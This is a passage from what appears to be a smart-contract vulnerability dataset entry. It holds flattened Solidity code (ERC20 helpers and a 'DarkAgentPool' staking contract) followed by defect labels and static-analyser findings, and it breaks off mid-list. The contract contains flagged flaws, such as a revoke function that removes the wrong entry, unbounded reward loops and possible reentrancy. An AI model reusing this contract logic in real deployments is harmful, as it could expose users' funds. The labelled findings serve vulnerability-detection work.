only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.0; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: staking-audit.sol pragma solidity ^0.6.12; contract DarkAgentPool is ERC20("DarkAgentPool", "pDARK"), Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // ------------ Multi darklisted_ Tokens rewarding --------------------------------------- IERC20 public DARK = IERC20(0x3108ccFd96816F9E663baA0E8c5951D229E8C6da); uint256 public darklisted_duration = 100 days; uint256 public darklisted_period_finish = 0; uint256 public darklisted_last_update_time; uint256 public darklisted_newreward; address[] public darklisted_token; address[] public darklisted_reward_account_list; mapping(address => bool) public darklisted_staker_accepted; mapping(address => uint256) public darklisted_reward_per_token_stored; mapping(address => uint256) public darklisted_reward_rate; mapping(address => uint256) public darklisted_reward_to_send; mapping(address => mapping (address => uint)) public darklisted_each_account_rewards; mapping(address => mapping (address => uint)) public darklisted_user_reward_per_token_paid; event RewardAdded(uint256 darklisted_newreward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); // ------------ Listing Tokens --------------------------------------- function approve_darkListing(address _darklisted_token) external onlyOwner { require(_darklisted_token != address(0), "Cannot be adddress(0)"); darklisted_token.push(_darklisted_token); } function revoke_darkListing(address _darklisted_token) external onlyOwner { require(_darklisted_token != address(0), "Cannot be adddress(0)"); darklisted_token.pop(); } // ------------ Pool Duration --------------------------------------- function set_duration(uint256 _darklisted_duration) external onlyOwner { require(_darklisted_duration != 0, "Cannot be 0 days"); darklisted_duration = _darklisted_duration; } function set_period_finish() external onlyOwner { darklisted_period_finish = block.timestamp.add(darklisted_duration); } // ------------ Modifier and Modifier Function --------------------------------------- modifier darklisted_updateReward(address account, address token) { darklisted_reward_per_token_stored[token] = darklisted_rewardPerToken(token); darklisted_last_update_time = darklisted_lastTimeRewardApplicable(); if (account != address(0)) { darklisted_each_account_rewards[account][token] = darklisted_earned(account, token); darklisted_user_reward_per_token_paid[account][token] = darklisted_reward_per_token_stored[token]; } _; } function darklisted_updateReward_function(address account, address token) internal { darklisted_reward_per_token_stored[token] = darklisted_rewardPerToken(token); darklisted_last_update_time = darklisted_lastTimeRewardApplicable(); if (account != address(0)) { darklisted_each_account_rewards[account][token] = darklisted_earned(account, token); darklisted_user_reward_per_token_paid[account][token] = darklisted_reward_per_token_stored[token]; } } // ------------ darklisted_ Rewards Logics-------------------------------- function darklisted_lastTimeRewardApplicable() public view returns(uint256) { return Math.min(block.timestamp, darklisted_period_finish); } function darklisted_rewardPerToken(address token) public view returns(uint256) { if (totalSupply() == 0) { return darklisted_reward_per_token_stored[token]; } return darklisted_reward_per_token_stored[token].add( darklisted_lastTimeRewardApplicable().sub(darklisted_last_update_time).mul(darklisted_reward_rate[token]).mul(1e18).div(totalSupply()) ); } function darklisted_earned(address account, address token) public view returns(uint256) { return balanceOf(account).mul( darklisted_rewardPerToken(token).sub(darklisted_user_reward_per_token_paid[account][token]) ).div(1e18).add(darklisted_each_account_rewards[account][token]); } function stake(uint256 amount) public darklisted_updateReward(msg.sender, 0x3108ccFd96816F9E663baA0E8c5951D229E8C6da) { require(amount > 0, "Cannot stake 0"); if (balanceOf(msg.sender) == 0 && !darklisted_staker_accepted[msg.sender]) { darklisted_staker_accepted[msg.sender] = true; darklisted_reward_account_list.push(msg.sender); } _mint(msg.sender, amount); DARK.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 _share) public darklisted_updateReward(msg.sender, 0x3108ccFd96816F9E663baA0E8c5951D229E8C6da) { require(_share > 0, "Cannot withdraw 0"); if (balanceOf(msg.sender) == 0 && darklisted_staker_accepted[msg.sender]) { darklisted_staker_accepted[msg.sender] = false; uint256 index = 0; while (darklisted_reward_account_list[index] != msg.sender) { index++; } darklisted_reward_account_list[index] = darklisted_reward_account_list[darklisted_reward_account_list.length - 1]; darklisted_reward_account_list.pop(); } _burn(msg.sender, _share); DARK.safeTransfer(msg.sender, _share); emit Withdrawn(msg.sender, _share); } function exit() public { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public darklisted_updateReward(msg.sender, 0x3108ccFd96816F9E663baA0E8c5951D229E8C6da) { darklisted_reward_to_send[0x3108ccFd96816F9E663baA0E8c5951D229E8C6da] = darklisted_earned(msg.sender, 0x3108ccFd96816F9E663baA0E8c5951D229E8C6da); if (darklisted_reward_to_send[0x3108ccFd96816F9E663baA0E8c5951D229E8C6da] > 0) { darklisted_each_account_rewards[msg.sender][0x3108ccFd96816F9E663baA0E8c5951D229E8C6da] = 0; DARK.safeTransfer(msg.sender, darklisted_reward_to_send[0x3108ccFd96816F9E663baA0E8c5951D229E8C6da]); emit RewardPaid(msg.sender, darklisted_reward_to_send[0x3108ccFd96816F9E663baA0E8c5951D229E8C6da]); } } function darklisted_getReward() public { for(uint d = 0; d< darklisted_token.length; d++){ for(uint i = 0; i< darklisted_reward_account_list.length; i++){ darklisted_updateReward_function(darklisted_reward_account_list[i], darklisted_token[d]); darklisted_reward_to_send[darklisted_token[d]] = darklisted_earned(darklisted_reward_account_list[i], darklisted_token[d]); if (darklisted_reward_to_send[darklisted_token[d]] > 0) { darklisted_each_account_rewards[darklisted_reward_account_list[i]][darklisted_token[d]] = 0; IERC20(darklisted_token[d]).safeTransfer(darklisted_reward_account_list[i], darklisted_reward_to_send[darklisted_token[d]]); emit RewardPaid(darklisted_reward_account_list[i], darklisted_reward_to_send[darklisted_token[d]]); } } } } function darklisted_notifyRewardAmount() external { for(uint d = 0; d< darklisted_token.length; d++){ darklisted_updateReward_function(address(0), darklisted_token[d]); if (darklisted_token[d] == 0x3108ccFd96816F9E663baA0E8c5951D229E8C6da) { darklisted_newreward = DARK.balanceOf(address(this)).sub(totalSupply()); } else { darklisted_newreward = IERC20(darklisted_token[d]).balanceOf(address(this)); } if (block.timestamp >= darklisted_period_finish) { darklisted_reward_rate[darklisted_token[d]] = darklisted_newreward.div(darklisted_duration); } else { uint256 remaining = darklisted_period_finish.sub(block.timestamp); uint256 leftover = remaining.mul(darklisted_reward_rate[darklisted_token[d]]); darklisted_reward_rate[darklisted_token[d]] = darklisted_newreward.add(leftover).div(darklisted_duration); } darklisted_last_update_time = block.timestamp; emit RewardAdded(darklisted_newreward); } } function darklisted_lockedDetails() external view returns (bool, uint256) { return (false, darklisted_period_finish); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1010", "1024"]}, {"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["1038", "912", "1034"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["858"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["965", "978"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["398", "413", "425"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["1031", "939"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [73]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [172, 173, 174, 175]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [855]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1027]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1038]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [929]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1029]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [96, 97, 98, 99, 93, 94, 95]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [144, 145, 146]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [24, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [40, 37, 38, 39]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [824, 825, 826, 827]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [813, 814, 815, 816, 817, 818, 819, 820, 821, 822]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [337, 338, 339, 340]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [154, 155, 156, 157]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [771, 772, 773]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [362, 363, 364, 365]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [321, 322, 323]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [832, 829, 830, 831]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [120, 121, 119]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [640, 636, 637, 638, 639]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [420, 421, 422, 423]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [573, 574, 575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [673, 674, 675, 676]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [556, 557, 558]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [600, 601, 602, 599]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [401, 402, 403]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [656, 657, 654, 655]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [429, 430, 431, 432, 433]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [548, 549, 550]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [993, 994, 995, 996]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [618, 619, 620, 621]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DarkAgentPool.sol": [608, 609, 607]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [185]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [43]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [515]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [13]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [345]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [792]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [439]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [370]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DarkAgentPool.sol": [548, 549, 550]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DarkAgentPool.sol": [556, 557, 558]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [97]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [163]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [907]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1029]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1027]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [878]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [917, 918, 919, 920, 921, 922, 923, 924, 925]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [890]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [928, 929, 930, 931, 932, 933, 934, 927]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [876]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [874]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [868]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [877]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [869]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [872]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [866]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [896]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1022, 1023]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [867]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [881]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [871]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [912, 913, 910, 911]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [890, 891, 892, 893, 894]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [896, 897, 898, 899, 900]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [960, 955, 956, 957, 958, 959]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [864]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [904]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [975]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [938, 939, 940]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [904, 905, 906, 907, 908]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [1043, 1044, 1045]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [880]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"DarkAgentPool.sol": [357, 358, 359, 360, 361, 362, 363, 364, 365, 366]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [922]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [990]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1016]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1004]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [995]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1013]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1031]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DarkAgentPool.sol": [1001]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 864, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 962, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 975, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 998, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1000, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1000, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1001, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1002, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1003, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1004, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1026, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 422, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 715, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 736, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1025, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 618, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1009, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1010, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1024, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 981, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1009, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1010, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1024, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 981, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 904, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 13, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 43, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 185, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 345, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 370, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 439, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 515, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 792, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 855, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 385, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 520, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 522, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 524, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 526, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 527, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 528, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 518, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 795, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 859, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 66, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1043, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 799, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 803, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 821, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 826, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 831, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 73, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 94, "severity": 1}, {"rule": 